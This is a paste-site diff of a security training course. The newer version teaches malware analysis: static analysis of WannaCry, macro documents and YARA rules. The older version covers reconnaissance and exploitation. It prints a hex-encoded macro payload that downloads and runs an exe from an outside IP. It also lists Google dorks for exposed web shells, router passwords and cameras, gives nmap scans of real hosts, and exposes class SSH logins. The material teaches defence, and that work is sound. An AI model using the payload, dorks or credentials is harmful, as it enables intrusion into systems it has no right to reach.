View difference between Paste ID: 5ZbgLeHP and UyYWUq3K
SHOW: | | - or go back to the newest paste.
1
#####################################################
2-
# Offensive/Defensive Cyber                         #
2+
# Advanced Malware Analysis 2020                    #
3
# By Joe McCray                                     #
4
#####################################################
5
 
6
- Here is a good set of slides for getting started with Linux:
7-
Here are some Google hacking queries to practice.
7+
8
 
9
 
10-
-----------------------
10+
11
http://linuxsurvival.com/linux-tutorial-introduction/
12-
big brother status green
12+
13
 
14-
############
14+
15-
# r57shell #
15+
16-
############
16+
17-
inurl:r57 intext:r57 cpu+mem+phpini+phpinfo intitle:r57shell		
17+
18-
r57 "[ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]"
18+
19-
c99 "[ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]"
19+
20
Host Name:          66.42.87.42
21
protocol:           ssh
22
port:               22
23
username:           ama
24
password:           ama-secureninja!         
25-
#########
25+
26-
# Cisco #
26+
27-
#########
27+
28-
filetype:cfg intext: "enable password" cisco
28+
29-
inurl:"NetworkConfiguration" cisco
29+
If you are on a Mac (https://osxdaily.com/2017/04/28/howto-ssh-client-mac/)
30-
inurl:"ccmuser" intext:cisco
30+
31-
inurl:"ccmuser/logon.asp"
31+
Open a terminal, then type:
32-
inurl:-cfg intext:"enable password"
32+
33-
inurl:"level/15/exec/-/show"
33+
ssh -l ama 66.42.87.42
34-
intitle:Cisco Systems, Inc VPN 3000 Concentrator
34+
35
36
37
38-
###########
38+
39-
# Windows #
39+
40-
###########
40+
41-
filetype:pwd inurl:"/service.pwd"
41+
42-
ext:ica intext:Password
42+
43-
ext:reg "Terminal Server Client"
43+
44
4. Connect to the network       - WS2_32.dll
45
 
46
 
47-
###########
47+
48-
# Cameras #
48+
49-
###########
49+
50-
inurl:"ViewerFrame?Mode="
50+
51-
inurl:home/homej.html intitle:snc
51+
52-
inurl:home/homea.html intitle:snc
52+
53-
intitle:flexwatch intext:"Home page ver"
53+
54-
(intext:"MOBOTIX M1" | intext:"MOBOTIX M10") intext:"Open Menu" Shift-Reload 
54+
55-
intitle:"Live View / - AXIS" | inurl:view/view.sht 
55+
56
1. Static Analysis  <----------------------------------------- Cloud based static analysis
57
Learn everything I can without actually running the file
58
    - Modify FS                     - File integrity checker
59
    - Modify registry
60
    - Modify processes/services
61-
------------------------------------------------------------------------------------------------------------------------------------
61+
62
 
63
 
64
 
65
2. Dynamic Analysis
66
Runs the file in a VM/Sandbox
67
 
68
################
69
# The Scenario #
70
################
71
You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
72
 
73
 
74
The fastest thing you can do is perform static analysis.
75
 
76
 
77-
Host Name:          107.191.39.106
77+
78
 
79
###################
80-
username:           ocodco
80+
81-
password:           ocodco123!!!         
81+
82
83
---------------------------Type This-----------------------------------
84
 
85
cd ~/static_analysis
86
 
87
file wannacry.exe
88
 
89
cp wannacry.exe malware.pdf
90
 
91
file malware.pdf
92
 
93
hexdump -n 2 -C wannacry.exe
94
 
95
----------------------------------------------------------------------
96
 
97
 
98
***What is '4d 5a' or 'MZ'***
99
-------------------------Paste this URL into Firefox-----------------------------------
100
http://www.garykessler.net/library/file_sigs.html
101
--------------------------------------------------------------------------------------- 
102
 
103
 
104
 
105
---------------------------Type This-----------------------------------
106
cd ~/static_analysis
107
108
objdump -x wannacry.exe
109
110
objdump -x wannacry.exe | less
111
     q
112
 
113
strings wannacry.exe
114
 
115
strings wannacry.exe | grep -i dll
116
 
117
strings wannacry.exe | grep -i library
118
 
119
strings wannacry.exe | grep -i reg
120
 
121
strings wannacry.exe | grep -i key
122
 
123
strings wannacry.exe | grep -i rsa
124
 
125
strings wannacry.exe | grep -i open
126
 
127
strings wannacry.exe | grep -i get
128
 
129
strings wannacry.exe | grep -i mutex
130
 
131
strings wannacry.exe | grep -i irc
132
 
133
strings wannacry.exe | grep -i join        
134
 
135
strings wannacry.exe | grep -i admin
136
 
137
strings wannacry.exe | grep -i list
138
----------------------------------------------------------------------
139
 
140
 
141
 
142
 
143
 
144
145
 
146
Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
147
 
148
Quick Google search for "wannacry ransomeware analysis"
149
 
150
 
151
Reference
152
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
153
 
154
- Yara Rule -
155
 
156
 
157
Strings:
158
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
159
$s2 = “Wanna Decryptor” wide ascii nocase
160
$s3 = “.wcry” wide ascii nocase
161
$s4 = “WANNACRY” wide ascii nocase
162
$s5 = “WANACRY!” wide ascii nocase
163
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
164
 
165
 
166
 
167
 
168
 
169
 
170
 
171
Ok, let's look for the individual strings
172
 
173
 
174
---------------------------Type This-----------------------------------
175
cd ~/static_analysis
176
177
strings wannacry.exe | grep -i ooops
178
 
179
strings wannacry.exe | grep -i wanna
180
 
181
strings wannacry.exe | grep -i wcry
182
 
183
strings wannacry.exe | grep -i wannacry
184
 
185
strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
186
----------------------------------------------------------------------
187
 
188
 
189
 
190
 
191
 
192
####################################
193
# Tired of GREP - let's try Python #
194
####################################
195
Decided to make my own script for this kind of stuff in the future. This is a really good script for the basics of static analysis
196-
pe info wannacry.exe
196+
197-
pe check wannacry.exe
197+
198-
pe dump --section text wannacry.exe
198+
199-
pe dump --section data wannacry.exe
199+
200-
pe dump --section rsrc wannacry.exe
200+
201-
pe dump --section reloc wannacry.exe
201+
202-
strings rdata | less
202+
203-
strings rsrc | less
203+
204-
strings text | less
204+
205
cd ~/static_analysis
206
 
207
nano original_am.py
208
        ctrl-x
209
 
210
python3 original_am.py wannacry.exe
211
----------------------------------------------------------------------
212
 
213
 
214
#####################################################
215
# Analyzing Macro Embedded Malware                  #
216
#####################################################
217
---------------------------Type This-----------------------------------
218
cd ~/static_analysis/oledump
219
 
220
python oledump.py 064016.doc
221
 
222
python oledump.py 064016.doc -s A4 -v
223
 -----------------------------------------------------------------------
224
 
225
 
226
 
227
- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
228
- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
229
 
230
---------------------------Type This-----------------------------------
231
python oledump.py 064016.doc -s A5 -v
232
-----------------------------------------------------------------------
233
 
234
- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
235
 
236
---------------------------Type This-----------------------------------
237
python oledump.py 064016.doc -s A3 -v
238
 
239
- Look for "GVhkjbjv" and you should see:
240
 
241
636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
242
 
243
- Take that long blob that starts with 636D and finishes with 653B and paste it in:
244
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
245
-----------------------------------------------------------------------
246
247
248
249
250
#########################################
251
# Security Operations Center Job Roles  #
252
# Intrusion Analysis Level 1            #
253
#########################################
254
Required Technical Skills: 		                        Comfortable with basic Linux/Windows (MCSA/Linux+)
255
								Comfortable with basic network (Network+)
256
								Comfortable with security fundamentals (Security+)
257
		
258
259
260
261
262
Job Task: 						        Process security events, follow incident response triage playbook
263
264
#########################################
265
# Security Operations Center Job Roles  #
266
# Intrusion Analysis Level 2            #
267
#########################################
268
269
Required Technical Skills: 		                        Comfortable with basic Linux/Windows system administration
270
								Comfortable with basic network administration
271
								Comfortable with basic programming
272
								Comfortable researching IT security issues
273
		
274
275-
nano am.py
275+
276
277-
python3 am.py wannacry.exe
277+
278
Job Task: 						        Perform detailed malware analysis, assist with development of the incident response triage playbook
279
280
#########################################
281
# Security Operations Center Job Roles  #
282
# Intrusion Analysis Level 3            #
283
#########################################
284
285
Required Technical Skills: 		                        Strong statistical analysis background
286
								Strong programming background (C, C++, Java, Assembly, scripting languages)
287
								Advanced system/network administration background
288
								Comfortable researching IT security issues
289
		
290
291
292
293
294
Job Task: 						        Perform detailed malware analysis 
295
								Perform detailed statistical analysis
296
								Assist with development of the incident response triage playbook
297
298
299
300
301
-------------------------------------------------------------------------------------------------------------------------
302
303
Step 1: Receive suspicious file
304
-------------------------------
305
- Help Desk tickets
306
- SIEM
307
- AV
308
- EDR
309
- Email/Spam
310
- Proxy
311
312
313
314
Step 2: Perform static analysis
315
-------------------------------
316
1. Run strings/grep for primary IoCs
317
	- Modifies the registry
318
	- Modifies processes/services
319
	- Modifies the filesystem	
320
	- Connects to the network
321-
Required Technical Skills: 		Comfortable with basic Linux/Windows (MCSA/Linux+)
321+
322
	A yes to these should help you determine whether you want to do dynamic analysis or not
323
324
	Consideration 1: Encryption/Obfuscation - you may have to do dynamic analysis
325
326
	Consideration 2: If you dealing with anti-analysis - you may have to do static analysis
327
328
329-
Job Task: 						Process security events, follow incident response triage playbook
329+
330
331
332
Step 3: Determine if the malware modifies the registry
333
------------------------------------------------------
334
335
336-
Required Technical Skills: 		Comfortable with basic Linux/Windows system administration
336+
337
cd ~/static_analysis/
338
339
strings wannacry.exe | grep -i reg
340
341
strings wannacry.exe | grep -i hkcu
342
343
strings wannacry.exe | grep -i hklm
344
345-
Job Task: 						Perform detailed malware analysis, assist with development of the incident response triage playbook
345+
strings wannacry.exe | grep -i hkcr
346
-----------------------------------------------------------------------
347
348
349
350
Step 4: Determine if the malware modifies processes/services
351
------------------------------------------------------------
352-
Required Technical Skills: 		Strong statistical analysis background
352+
353
---------------------------Type This-----------------------------------
354
cd ~/static_analysis/
355
strings wannacry.exe | grep -i advapi32
356
357
strings wannacry.exe | grep -i service
358
359
strings wannacry.exe | grep -i OpenSCManagerA
360
361-
Job Task: 						Perform detailed malware analysis 
361+
strings wannacry.exe | grep -i OpenSCManagerA
362
363
strings wannacry.exe | grep -i InternetCloseHandle
364
365
strings wannacry.exe | grep -i OpenServiceA
366
367
strings wannacry.exe | grep -i CloseServiceHandle
368
369-
#######################
369+
strings wannacry.exe | grep -i StartServiceCtrlDispatcherA
370-
# Passive Recon       #
370+
371-
# aka: OSINT          #
371+
strings wannacry.exe | grep -i GetExitCodeProcess
372-
# aka: Footprinting #
372+
373-
#######################
373+
strings wannacry.exe | grep -i GetProcAddress
374
-----------------------------------------------------------------------
375-
- Wikipedia Page
375+
376-
    - Are they Public or Private?
376+
377-
    - Does the target have any subsidiaries?
377+
378-
        - Have they had any scandals?
378+
Step 4: Determine if the malware modifies the file system
379
------------------------------------------------------------
380-
- Robtex
380+
381-
    - Show system map
381+
382
cd ~/static_analysis/
383-
- Sample OSINT Report:
383+
strings wannacry.exe | grep -i GetTempPathW
384-
	https://infosecaddicts-files.s3.amazonaws.com/OSINT_Innophos.doc
384+
385
strings wannacry.exe | grep -i GetWindowsDirectoryW
386-
- Misc
386+
387-
	OSINT on a hacker group:
387+
strings wannacry.exe | grep -i %TEMP%
388-
	https://en.wikipedia.org/wiki/Anonymous_(group)
388+
389-
	https://en.wikipedia.org/wiki/LulzSec
389+
strings wannacry.exe | grep -i GetFileAttributesA
390
-----------------------------------------------------------------------
391-
	OSINT on a terrorist group:
391+
392-
	https://en.wikipedia.org/wiki/Al-Qaeda
392+
393-
	https://en.wikipedia.org/wiki/Taliban
393+
394-
	https://en.wikipedia.org/wiki/Islamic_State_of_Iraq_and_the_Levant
394+
395-
	
395+
396
Step 5: Does the malware have any persistence capability
397
--------------------------------------------------------
398
3 main ways for an attacker to maintain access to a compromised system (persistence)
399-
Step 1: Download Nmap
399+
400-
--------------------
400+
- Registry
401-
Windows: https://nmap.org/dist/nmap-7.70-setup.exe
401+
- Service
402-
Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
402+
- Scheduled task
403
404-
Linux:
404+
405-
--- Fedora/CentOS/RHEL:    sudo yum install -y nmap
405+
406-
--- Ubuntu/Mint/Debian:    sudo apt-get install -y nmap
406+
407
##############
408
# Class task #
409
##############
410-
########################
410+
411-
# Scanning Methodology #
411+
Task 1: Go to https://joesecurity.org/joe-sandbox-reports
412-
########################
412+
413
Identify 5 reports for malware that are similar to what you've seen or been concerned about in your environment
414
415
1. Maze
416
2. Bad rabbit
417
3. Trojanized Adobe Installer
418
4. Emotel
419
5. bitcoin miner
420-
Host Name:          107.191.39.106
420+
421
422
423-
username:           ocodco
423+
Task 2: What do you want to be able to find
424-
password:           ocodco123!!! 
424+
What did you see in each of these reports that you found interesting and would like to be able to look for in your investigations?
425
426
Task 3: Identify the unique strings that you would like to search for
427-
- Ping Sweep
427+
1.
428-
What's alive?
428+
2.
429
3.
430-
Note: On windows you won't need to use the word "sudo" in front of the command below:
430+
431
432-
---------------------------On Linux or Mac OS X type This-----------------------------------
432+
Task 4: Unique classes of attack
433-
sudo nmap -sP 157.166.226.*
433+
Identify the unique classes of signatures that interest us the most that are NOT in my am.py file list
434-
--------------------------------------------------------------------------------------------
434+
1. Trickier http request methods
435
2. Dynamic libraries/API calls
436
3. Lateral movement
437
438-
    -if -SP yields no results try:
438+
439-
Note: On windows you won't need to use the word "sudo" in front of the command below:
439+
440-
---------------------------On Linux or Mac OS X type This-----------------------------------
440+
Task 5: Identify limitations of the script
441-
sudo nmap -sL 157.166.226.*
441+
1. Only analyzes exes
442-
------------------------------------------------------------------------------------------
442+
2. Too many functions and no classes
443
3. Not modular enough
444
4. Signature list is not very thorough
445
5. Doesn't save to db
446-
    -Look for hostnames:
446+
447-
Note: On windows you won't need to use the word "sudo" in front of the command below:
447+
448-
---------------------------On Linux or Mac OS X type This-----------------------------------
448+
449-
sudo nmap -sL 157.166.226.* | grep cnn
449+
450-
-------------------------------------------------------------------------------------------
450+
cd /home/ama/malware_samples/office-doc_files
451
452
file sample1.doc
453
454-
- Port Scan
454+
olevba sample1.doc
455-
What's where?
455+
456
python /home/ama/static_analysis/oledump/oledump.py sample1.doc
457-
Note: On windows you won't need to use the word "sudo" in front of the command below:
457+
458-
---------------------------On Linux or Mac OS X type This-----------------------------------
458+
459-
sudo nmap -sS 162.243.126.247 
459+
460-
--------------------------------------------------------------------------------------------
460+
What is oledump.py?
461
===================
462
463
Reference: https://blog.didierstevens.com/programs/oledump-py/
464-
- Bannergrab/Version Query
464+
465-
What versions of software are running
465+
oledump.py is a program to analyze OLE files (Compound File Binary Format). These files contain streams of data. oledump allows you to analyze these streams.
466-
-------------------------------------
466+
467-
Note: On windows you won't need to use the word "sudo" in front of the command below:
467+
Many applications use this file format, the best known is MS Office. .doc, .xls, .ppt, … are OLE files (docx, xlsx, … is the new file format: XML inside ZIP).
468-
---------------------------On Linux or Mac OS X type This-----------------------------------
468+
469-
sudo nmap -sV 162.243.126.247
469+
470-
-------------------------------------------------------------------------------------------
470+
471
What is olevba?
472
===============
473
474-
Let's dig into this a little bit more:
474+
Reference: https://github.com/decalage2/oletools/wiki/olevba
475-
-------------------------------------
475+
476-
Note: On windows you won't need to use the word "sudo" in front of the command below:
476+
olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to detect VBA Macros, extract their source code in clear text, and detect security-related patterns such as auto-executable macros, suspicious VBA keywords used by malware, anti-sandboxing and anti-virtualization techniques, and potential IOCs (IP addresses, URLs, executable filenames, etc). It also detects and decodes several common obfuscation methods including Hex encoding, StrReverse, Base64, Dridex, VBA expressions, and extracts IOCs from decoded strings. XLM/Excel 4 Macros are also supported in Excel and SLK files.
477-
---------------------------On Linux or Mac OS X type This-----------------------------------
477+
478-
sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
478+
It can be used either as a command-line tool, or as a python module from your own applications.
479-
-------------------------------------------------------------------------------------------
479+
480
It is part of the python-oletools package.
481
482
483-
- Vulnerability Research
483+
Now let's dig in with oledump
484-
Lookup the banner versions for public exploits
484+
485-
----------------------------------------------
485+
486-
http://exploit-db.com
486+
487-
http://securityfocus.com/bid
487+
488-
https://packetstormsecurity.com/files/tags/exploit/
488+
cd /home/ama/malware_samples/office-doc_files
489
490-
---------------------------------------------------------------------------------------------------------------------------------
490+
python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A7 -v
491
492
python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A8 -v
493
494-
Network Penetration Testing Process (known vulnerabilities)
494+
python /home/ama/static_analysis/oledump/oledump.py sample1.doc -s A9 -v
495-
-----------------------------------------------------------
495+
496
497
498-
1. Ping Sweep:
498+
499-
The purpose of this step is to identify live hosts
499+
500
501-
    nmap -sP <ip-address/ip-range>
501+
502
Now let's dig in with olevba
503
504-
2. Port Scan
504+
505-
Identify running services. We use the running services to map the network topology.
505+
506
---------------------------Type This-----------------------------------
507-
    nmap -sS <ip-address/ip-range>
507+
cd /home/ama/malware_samples/office-doc_files
508
509
olevba sample1.doc --decode
510-
3. Bannergrab
510+
511-
Identify the version of version of software running on each port
511+
olevba sample1.doc --deobf
512
----------------------------------------------------------------------
513-
    nmap -sV <ip-address/ip-range>
513+
514-
   
514+
515
516
                              ###########
517-
4. Vulnerability Research
517+
############################## EXE Files ###############################
518-
Use the software version number to research and determine if it is out of date (vulnerable).
518+
                              ###########
519
520-
    exploit-db.com/search
520+
OK, let's take a look at exe files
521
522
523
524
---------------------------Type This-----------------------------------
525
cd /home/ama/malware_samples/exe_files
526
527
objdump -x sample1.exe
528
 
529
objdump -x sample1.exe | less
530-
Skill Level 1. Run the scanners
530+
531
 
532-
    Nexpose
532+
strings sample1.exe
533-
    Qualys
533+
534-
    Retina
534+
strings sample1.exe | grep -i dll
535-
    Nessus              known vulnerabilities
535+
536-
    OpenVas
536+
strings sample1.exe | grep -i library
537-
    Foundscan
537+
538-
    GFI LanGuard
538+
strings sample1.exe | grep -i reg
539-
    NCircle
539+
540
strings sample1.exe | grep -i key
541
 
542-
Skill Level 2. Manual vulnerability validation (known vulnerabilities)
542+
strings sample1.exe | grep -i rsa
543
 
544
strings sample1.exe | grep -i open
545-
    windows ->  	systeminfo
545+
546-
    Linux->     	dpkg -l			(Debian/Ubuntu/Mint)
546+
strings sample1.exe | grep -i get
547-
            		rpm -qa			(RHEL/Fedora/Centos)
547+
548
strings sample1.exe | grep -i mutex
549-
	Mac OS X->		sudo find / -iname *.app
549+
550
strings sample1.exe | grep -i irc
551
 
552
strings sample1.exe | grep -i join        
553
 
554
strings sample1.exe | grep -i admin
555
 
556
strings sample1.exe | grep -i list
557-
#####################################
557+
558-
# Quick Stack Based Buffer Overflow #
558+
python3 ~/static_analysis/previous_class_am.py sample1.exe
559-
#####################################
559+
560
561-
- You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
561+
562-
http://45.63.104.73/ExploitLab.zip
562+
563-
http://45.63.104.73/nc-password-is-netcat.zip   <--- save this file to your c:\windows\system32 directory
563+
Let's play with another tool called pyew.
564
565
566-
- Extract the ExploitLab.zip file to your Desktop
566+
Reference: https://github.com/joxeankoret/pyew
567
568-
- Go to folder on your desktop ExploitLab\2-VulnServer, and run vulnserv.exe
568+
Pyew is a tool like radare or biew/hiew. It’s an hexadecimal viewer, disassembler for IA32 and AMD64 with support for PE & ELF formats as well as other non executable formats, like OLE2 or PDF. 
569
570
571
572-
- Open a new command prompt and type:
572+
573
---------------------------Type This-----------------------------------
574
pyew sample1.exe
575-
nc localhost 9999
575+
576-
--------------------------------------------------------------------------
576+
[0x00000000]> ?
577
578-
If you don't have netcat you can download it from here:
578+
[0x00000000]> md5
579-
http://45.63.104.73/nc-password-is-netcat.zip
579+
580
[0x00000000]> sha256
581-
The file nc.zip is password protected (password is 'password'), you'll have to exclude it from your anti-virus and either add it to your PATH, or copy it to your c:\Windows\System32\ folder.
581+
582
[0x00000000]> url
583
584-
- In the new command prompt window where you ran nc type:
584+
[0x00000000]> chkurl
585-
HELP
585+
586
587-
- Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
587+
Since this is a PE file, let's do some stuff that's specific for exe files
588-
- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
588+
589
Here are the commands again:
590-
- Now double-click on 1-simplefuzzer.py
590+
Commands:
591-
- You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
591+
592
?/help                            Show this help
593
x/dump/hexdump                    Show hexadecimal dump
594-
- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
594+
s/seek                            Seek to a new offset
595
g/G                               Goto BOF (g) or EOF (G)
596-
- Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
596+
+/-                               Go forward/backward one block (specified by pyew.bsize)
597
c/d/dis/pd                        Show disassembly
598-
- Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
598+
r/repr                            Show string represantation
599
p                                 Print the buffer
600-
- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
600+
/x expr                           Search hexadecimal string
601
/s expr                           Search strings
602-
- Now isolate the crash by restarting your debugger and running script 2-3000chars.py
602+
/i expr                           Search string ignoring case
603
/r expr                           Search regular expression
604-
- Calculate the distance to EIP by running script 3-3000chars.py
604+
/u expr                           Search unicode expression
605-
- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
605+
/U expr                           Search unicode expression ignoring case
606
607-
4-count-chars-to-EIP.py
607+
608-
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
608+
Now, let's see the disassembly at the entry point so, seek to the entry point:
609-
- so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
609+
610
[0x00000000]> s ep
611-
5-2006char-eip-check.py
611+
612-
- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
612+
613
614-
6-jmp-esp.py
614+
And disassemble it with the command "c" (you may also use "d", "dis" or "pd"):
615-
- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
615+
616
[0x00025ce0:0x00426ae0]> c
617-
7-first-exploit
617+
618-
- In this script we actually do the stack overflow and launch a bind shell on port 4444
618+
619
To see the code at the function's position, just type the number assigned to the function (the number after the ";" character):
620-
8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
620+
621
[0x00025ce0:0x00426ae0]> 1
622
[0x00025d07:0x00426b07]> 2
623
-----------------------------------------------------------------------
624
625
626
627-
Skill Level 3. Identify unknown vulnerabilities
627+
OK, we're done analyzing this function. To go back to the prior point (the entry point in our case) we can type "b" to go back:
628-
-----------------------------------------------
628+
629
[0x00025d07:0x00426b07]> b
630-
- App Type
630+
631
632-
    Stand Alone             Client Server               Web App
632+
633
To continue seeing more disassembly just press the enter key to see the next block's disasembly (BTW, if the last command was "x" to show the hexadecimal dump, by pressing enter you would see the next block's hexadecimal dump):
634-
                        ***(vulnerserver.exe)***
634+
635
636
637-
- Input TYpe
637+
To list the functions detected by Pyew type "pyew.names":
638-
-------------
638+
639-
    FIle                    logical network port            Browser
639+
[0x00025cfe:0x00426afe]> pyew.names
640-
    Keyboard
640+
641-
    Mouse
641+
642
643
Let's see if it was packed
644
---------------------------Type This-----------------------------------
645-
                        ***(9999)***
645+
[0x00025ce0:0x00426ae0]> packer
646
-----------------------------------------------------------------------
647
648-
- Map & Fuzz app entry points:
648+
649
Let's see if it uses any anti virutal machine tricks
650-
    - Commands              ***(commands)***
650+
651-
    - Methods
651+
[0x00025ce0:0x00426ae0]> antivm
652-
    - Verbs
652+
653-
    - functions
653+
654-
    - subroutines
654+
655-
    - controllers
655+
656
657
658-
- Isolate the crash
658+
659-
-------------------
659+
660-
App seems to reliably crash at TRUN 2100
660+
661
# Yara Ninja #
662
##############
663-
- Calculate the distance to EIP
663+
664
 
665-
Distance to EIP is 2006
665+
666
 
667-
We found that EIP was populated with the value: 396F4338
667+
668-
396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
668+
669
https://www.mcafee.com/blogs/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/
670-
An online tool that we can use for this is:
670+
671-
https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
671+
672
 
673
- Yara Rule -
674
 
675-
- Redirect Program Execution
675+
676-
----------------------------
676+
677-
A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
677+
678-
We learned that we control EAX and ESP in script 2.
678+
679
$s3 = “.wcry” wide ascii nocase
680
$s4 = “WANNACRY” wide ascii nocase
681
$s5 = “WANACRY!” wide ascii nocase
682
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
683
 
684-
- Implement Shellcode
684+
685-
---------------------
685+
686-
There are only 2 things that can go wrong with shellcode:
686+
687-
- Not enough space
687+
688-
- Bad characters
688+
689
 
690
 
691
Ok, let's look for the individual strings
692
 
693
---------------------------Type This-----------------------------------
694
 
695
 
696-
#######################################################
696+
697-
# Open the following web links below as tabs          #
697+
698-
# For each web link answer all of the questions below #
698+
699-
#######################################################
699+
700-
https://www.exploit-db.com/exploits/46762
700+
701-
https://www.exploit-db.com/exploits/46070
701+
702-
https://www.exploit-db.com/exploits/40713
702+
703-
https://www.exploit-db.com/exploits/46458
703+
704-
https://www.exploit-db.com/exploits/40712
704+
705-
https://www.exploit-db.com/exploits/40714
705+
706-
https://www.exploit-db.com/exploits/40680
706+
707-
https://www.exploit-db.com/exploits/40673
707+
708-
https://www.exploit-db.com/exploits/40681
708+
709-
https://www.exploit-db.com/exploits/37731
709+
710-
https://www.exploit-db.com/exploits/31254
710+
711-
https://www.exploit-db.com/exploits/31255
711+
# Playing with Yara #
712-
https://www.exploit-db.com/exploits/27703
712+
713-
https://www.exploit-db.com/exploits/27277
713+
Let's see if we can get yara working.
714-
https://www.exploit-db.com/exploits/26495
714+
715-
https://www.exploit-db.com/exploits/24557
715+
716-
https://www.exploit-db.com/exploits/39417
716+
717-
https://www.exploit-db.com/exploits/23243
717+
718
 
719
 
720
 
721-
                      ###############################
721+
722-
###################### # Class Exploit Dev Quiz Task # ######################
722+
cd ~/students/
723-
                      ###############################
723+
724
mkdir [yourname]
725
726-
EID number:
726+
cd [yourname]
727
728-
1. Vulnerable Software Info
728+
cp ~/wannacry.exe .
729-
    a- Product Name
729+
730-
    b- Software version
730+
nano wannacry_1.yar
731-
    c- Available for download
731+
732
---------------------------Paste This-----------------------------------
733
rule wannacry_1 : ransom
734-
2. Target platform
734+
{
735-
    a- OS Name								(ex: Windows XP)
735+
    meta:
736-
    b- Service pack							(ex: SP3)
736+
        author = "Joshua Cannell"
737-
    c- Language pack						(ex: English)
737+
        description = "WannaCry Ransomware strings"
738
        weight = 100
739
        date = "2017-05-12"
740-
3. Exploit info
740+
741-
    a- modules imported                     (ex: sys, re, os)
741+
    strings:
742-
    b- application entry point              (ex: TRUN)
742+
        $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
743-
    c- distance to EIP                      (ex: 2006)
743+
        $s2 = "Wanna Decryptor" wide ascii nocase
744-
    d- how is code redirection done         (ex: JMP ESP, JMP ESI)
744+
        $s3 = ".wcry" wide ascii nocase
745-
    e- number of NOPs                       (ex: 10 * \x90  = 10 NOPs)
745+
        $s4 = "WANNACRY" wide ascii nocase
746-
    f- length of shellcode					(ex: 368)
746+
        $s5 = "WANACRY!" wide ascii nocase
747-
    g- bad characters                       (ex: \x0a\x00\x0d)
747+
        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
748-
    h- is the target ip hard-coded
748+
749-
    i- what does the shellcode do           (ex: bind shell, reverse shell, calc)
749+
    condition:
750-
    j- what is the total buffer length
750+
        any of them
751-
    k- does the exploit do anything to ensure the buffer doesn't exceed a certain length
751+
}
752-
    l- Is this a server side or client-side exploit
752+
753
----------------------------------------------------------------------------
754
 
755
 
756
 
757
 
758
 
759
---------------------------Type This-----------------------------------
760
 
761
yara wannacry_1.yar wannacry.exe
762-
# FreeFloat FTP Server Exploit Analysis #
762+
763
-----------------------------------------------------------------------
764
 
765
 
766
 
767-
Analyze the following exploit code:
767+
768-
https://www.exploit-db.com/exploits/15689/
768+
769
---------------------------Type This-----------------------------------
770-
1. What is the target platform that this exploit works against?
770+
771-
2. What is the variable name for the distance to EIP?
771+
nano wannacry_2.yar
772-
3. What is the actual distance to EIP in bytes?
772+
773-
4. Describe what is happening in the variable ‘junk2’
773+
---------------------------Paste This-----------------------------------
774
rule wannacry_2{
775
    meta:
776
        author = "Harold Ogden"
777
        description = "WannaCry Ransomware Strings"
778-
Analysis of the training walk-through based on EID: 15689:
778+
        date = "2017-05-12"
779-
http://45.63.104.73/ff.zip
779+
        weight = 100
780
 
781
    strings:
782
        $string1 = "msg/m_bulgarian.wnry"
783
        $string2 = "msg/m_chinese (simplified).wnry"
784-
ff1.py
784+
        $string3 = "msg/m_chinese (traditional).wnry"
785-
1. What does the sys module do?
785+
        $string4 = "msg/m_croatian.wnry"
786-
2. What is sys.argv[1] and sys.argv[2]?
786+
        $string5 = "msg/m_czech.wnry"
787-
3. What application entry point is being attacked in this script?
787+
        $string6 = "msg/m_danish.wnry"
788
        $string7 = "msg/m_dutch.wnry"
789
        $string8 = "msg/m_english.wnry"
790
        $string9 = "msg/m_filipino.wnry"
791-
ff2.py
791+
